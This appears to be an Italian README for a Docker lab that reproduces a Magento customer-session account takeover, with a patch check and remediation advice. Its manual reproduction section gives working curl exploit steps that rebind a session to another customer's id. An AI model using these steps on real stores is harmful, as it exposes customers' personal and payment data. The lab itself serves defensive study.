CVE-2026-71362 — Lab sul cambio di identità della sessione cliente di Magento / Adobe Commerce

Un lab Docker autonomo, avviabile con un solo comando, che riproduce CVE-2026-71362 dall'inizio alla fine e consente di verificare la correzione di Adobe, così che difensori, ricercatori e studenti possano studiare una vera primitiva di account takeover su uno store usa e getta.

⚠️ Solo uso autorizzato

Questo lab esiste per riprodurre una vulnerabilità pubblica e corretta a fini di ricerca difensiva e formazione. Eseguilo solo contro lo store usa e getta che crea. Non usarlo contro alcuna istanza Magento/Adobe Commerce che non possiedi o per cui non hai un'autorizzazione scritta esplicita al test. Sei responsabile del rispetto di tutte le leggi applicabili.

In cosa consiste il bug (versione da 30 secondi)

Magento\Customer\Controller\Account\Edit::execute() passa i dati grezzi controllati dall'attaccante customer_form_data, lasciati nella sessione da un editPost fallito, a DataObjectHelper::populateWithArray(), che copia ogni chiave corrispondente sull'oggetto cliente — inclusa id. L'oggetto viene poi riscritto con Session::setCustomerData() → setCustomerId($object->getId()) e, poiché Customer\Model\Session::getId() restituisce semplicemente getCustomerId(), sovrascrivere da solo customer_id fa sì che isLoggedIn() restituisca true nei panni della vittima. Nessun controllo su password, token o proprietà. Un attaccante con un semplice account usa e getta auto-registrato può rilegare la propria sessione a qualsiasi id cliente e leggere i dati personali (PII), gli ordini, gli indirizzi e i token di pagamento memorizzati di quell'account.

Analisi completa: docs/ROOTCAUSE.md. Regole di rilevamento e WAF: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Requisiti

• Docker + Docker Compose v2
• ~6 GB di RAM libera per i container, ~5 GB di disco
• Python 3 (solo per eseguire il PoC) — pip install -r exploit/requirements.txt

La build scarica Magento Open Source da fonti pubbliche; non sono richieste chiavi Adobe Marketplace.

Avvio rapido

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Storefront: http://127.0.0.1:8080/ · Admin: http://127.0.0.1:8080/admin (admin / Admin123!). Modifica host/porta in .env (vedi .env.example) — il valore deve corrispondere all'URL che apri nel browser, perché Magento vincola il cookie di sessione all'URL base dello store.

Output atteso del PoC (vulnerabile)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Come dimostrare la correzione (controllo negativo A/B/A)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch sostituisce il file con patch/Edit.patched.php — la modifica upstream esatta contenuta in patch/official-APSB26-92-module-customer.patch. Attivare e disattivare solo quel singolo file è l'oracolo che il bug è esattamente questo hunk.

Riproduzione manuale (senza Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Rimedio (per store reali)

Applica la patch isolata APSB26-92 di agosto 2026 per il tuo branch (24Xp-2026-08-001-CE). Adobe pubblica il registro delle patch e i diff grezzi senza richiedere credenziali all'indirizzo https://repo.magento.com/patch/patch-registry.json. La correzione non è su GitHub pubblico — per essa non è stato pubblicato alcun pacchetto Composer né tag git, quindi composer update non la recupererà.

Layout

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Risoluzione dei problemi

• Il PoC stampa "still installing" — il primo avvio compila Magento; esegui make logs e attendi Install complete, poi make wait.
• Tutto restituisce 500 subito dopo l'installazione — c'è una race condition sui permessi in generated/; esegui make shell e poi php bin/magento cache:flush (normalmente è l'entrypoint a occuparsene).
• Stranezze con cookie/CSRF — stai raggiungendo un host diverso dall'URL base dello store. Mantieni MAGENTO_HOST/HOST_PORT in .env uguali all'URL che usi tu (e TARGET).

Riferimenti

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe corregge il critico account takeover di Magento (APSB26-92)
• Ricercatore accreditato: 0x0.eth

Licenza

MIT — vedi LICENSE. Fornito a scopo didattico e per test autorizzati, senza alcuna garanzia.